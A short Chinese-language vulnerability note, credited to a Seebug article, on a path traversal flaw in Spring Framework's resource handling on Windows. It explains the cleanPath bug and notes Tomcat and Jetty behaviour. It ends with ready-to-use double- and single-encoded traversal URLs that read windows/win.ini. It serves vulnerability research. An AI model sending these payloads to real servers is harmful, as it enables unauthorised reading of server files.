原文出自:https://paper.seebug.org/665/
漏洞影響
Spring Framework 5.0 to 5.0.4.
Spring Framework 4.3 to 4.3.14
已不支援的舊版本仍然受影響
漏洞利用條件
Server運作于Windows系統上
要使用file協定打開資源檔案目錄
cleanPath的問題在于String[] pathArray = delimitedListToStringArray(pathToUse, "/");
這個是允許空元素存在的,也就是說cleanPath會把//當成一個目錄,而作業系統是不會把//當成一個目錄的。借用一張Orange大佬的圖。
詳細分析本文不做記錄
注意事項
1、在Spring Framework 大于5.0.1的版本,雙編碼payload在tomcat、jetty下觸發不了,
但是單編碼payload可以在jetty下觸發,tomcat下失敗(因為在預設情況下Tomcat遇到包含%2f(/)、%5c(\)的URL直接http 400)
總結
Spring Framework <=5.0.1
tomcat、jetty:(雙編碼)
/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
Spring Framework >5.0.1
jetty:(單編碼)
/resources/%5c%5c..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/windows/win.ini